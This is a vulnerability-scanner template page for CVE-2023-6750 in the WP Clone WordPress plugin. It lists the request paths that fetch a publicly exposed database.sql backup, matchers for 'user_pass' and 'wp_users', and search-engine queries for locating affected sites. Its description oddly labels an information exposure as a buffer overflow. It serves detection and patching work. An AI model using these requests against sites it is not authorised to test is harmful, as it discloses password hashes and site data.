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WordPress WP Clone <= 2.4.2 - Database Backup Exposure

CVE-2023-6750
Early Release

Description

Clone WordPress plugin < 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges

Severity

Critical

CVSS Score

9.8

Exploit Probability

1%

Affected Product

clone

Published Date

April 9, 2026

Template Author

pussycat0x

CVE-2023-6750.yaml
id: CVE-2023-6750

info:
  name: WordPress WP Clone <= 2.4.2 - Database Backup Exposure
  author: pussycat0x
  severity: critical
  description: |
    Clone WordPress plugin < 2.4.3 contains a buffer overflow caused by storing in-progress backup information in publicly accessible buffer files at a static file path, letting attackers access sensitive backup data, exploit requires no special privileges
  impact: |
    Attackers can access sensitive backup information, potentially leading to data disclosure or manipulation.
  remediation: |
    Update to version 2.4.3 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-clone-by-wp-academy/clone-242-sensitive-information-exposure
    - https://plugins.trac.wordpress.org/changeset/3012647/wp-clone-by-wp-academy
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6750
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6750
    epss-score: 0.00597
    epss-percentile: 0.69383
    cwe-id: CWE-200
    cpe: cpe:2.3:a:developer:clone:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    product: clone
    framework: wordpress
    shodan-query: http.html:"wp-clone-by-wp-academy"
    fofa-query: body="wp-clone-by-wp-academy"
  tags: cve,cve2023,wp,wp-plugin,wordpress,wp-clone,backup

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/database.sql"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CREATE TABLE"
          - "INSERT INTO"
        condition: and

      - type: word
        part: body
        words:
          - "wp_users"
          - "wp_options"
          - "user_pass"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: db_table
        part: body
        group: 1
        regex:
          - "CREATE TABLE[^`]*`([^`]+)`"

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/uploads/wp-clone/wpclone_backup/prefix.txt"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "^[a-zA-Z0-9_]+$"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220427bf1af743ecc8bdeb372233279291a977b38dc14df37ba9c2105874a48f6910221008ba7cf8d8da5902f726828d0ad82773c530f35ed42e878dcc68c3c7f14feb523:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2023-6750
CWE ID:
cwe-200

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-clone-by-wp-academy/clone-242-sensitive-information-exposurehttps://plugins.trac.wordpress.org/changeset/3012647/wp-clone-by-wp-academyhttps://nvd.nist.gov/vuln/detail/CVE-2023-6750

Remediation Steps

Update to version 2.4.3 or later.